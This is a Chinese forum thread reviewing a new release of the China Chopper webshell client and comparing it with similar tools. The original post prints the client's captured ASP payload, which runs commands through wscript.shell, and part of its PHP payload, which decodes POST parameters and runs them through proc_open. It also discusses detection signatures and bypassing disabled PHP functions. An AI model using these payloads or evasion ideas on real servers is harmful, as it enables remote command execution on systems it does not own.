【转】对新版菜刀的评价
新版本菜刀已经发布有1天多了，没看有人评价。我就简单评下，大牛勿喷~
通信方式不变，post数据依旧含有可被定位的特征码（当然如果不改变服务端代码，我也想不出什么好办法），只能POST，软件自由度不及Hatchet。
主要对旧版本菜刀的不足抓包看下新版本是否有所改进
发现还是老样子
一 asp执行命令
解码代码如下：
Set X=CreateObject("wscript.shell").exec(""""&bd(Request("z1"))&""" /c """&bd(Request("z2"))&""""):If Err Then:S=" "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)
可以看到只是调用了wscript.shell组件执行命令。
而能够执行系统命令的组件可不止这一种
二 php命令执行
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$m=get_magic_quotes_gpc();$p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);$s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r."
旧版本的菜刀调用system函数执行命令
新版本调用了proc_open执行命令
但是能够执行系统命令的函数可不止这两个，还有前段时间爆出的php利用bash漏洞绕过disable_function等。
（如果有我未发现的新功能，请补充）
个人的感觉：
菜刀作为前两年的神器，现在却慢慢走过辉煌。虽然斧头仿造了菜刀，但是在功能和灵活度上稍稍胜过了菜刀。还有开源的Altman也完全不输菜刀。菜刀的作者有深厚的编程功底，不过感觉在细节上并不是很在意，这款新发布的菜刀不像是3年后积淀的产物。 感谢:P:P:P楼主分享 菜刀 还是原来的作者写的吗？？？怎么觉得老版的好用。。 菜刀现在不是由原作者写的， 新版的报毒，不敢用
Re: 【转】对新版菜刀的评价
感谢楼主的详细技术分析，干货满满。从ASP和PHP的命令执行代码来看，新版菜刀确实没有在对抗检测和功能灵活性上有实质性的突破，还是依赖那几个常见的组件和函数，而且通信特征码也没变。如你所说，现在像Altman、斧头这些工具在开源、自定义方面更胜一筹，菜刀这次的更新确实有点让人失望，感觉更像是小修小补而非质的提升。希望作者后续能多关注细节和实用创新吧。Re: 【转】对新版菜刀的评价
看了楼主分析，感觉很有道理。新版菜刀确实在核心思路上没有太多突破，命令执行的组件选择还是那么有限，对于现在各种 disable_function 和组件禁用的情况来说，灵活性确实不够。不过话说回来，菜刀当年的普及度和易用性确实给很多人启蒙了，作者可能更偏向稳定保守？像 Altman 开源后大家都在贡献，功能迭代快很多。希望菜刀后续能多吸收一些社区反馈吧。Re: 【转】对新版菜刀的评价
感谢楼主分享这么详细的分析！看得出你对新版菜刀的功能和实现做了不少功课，从代码层面直接对比新旧版本，这点很有价值。确实如你所说，通信方式和服务端特征没有本质变化，命令执行组件也相对固定，在灵活性和隐蔽性上相比这几年涌现的Altman、Hatchet等工具，进步不算明显。不过菜刀老用户可能会对它的稳定性和一些习惯操作有依赖，也许作者有自己侧重维护的考量吧。不知楼主在使用过程中有没有发现其他值得注意的改进或bug？期待后续继续交流。
页:
[1]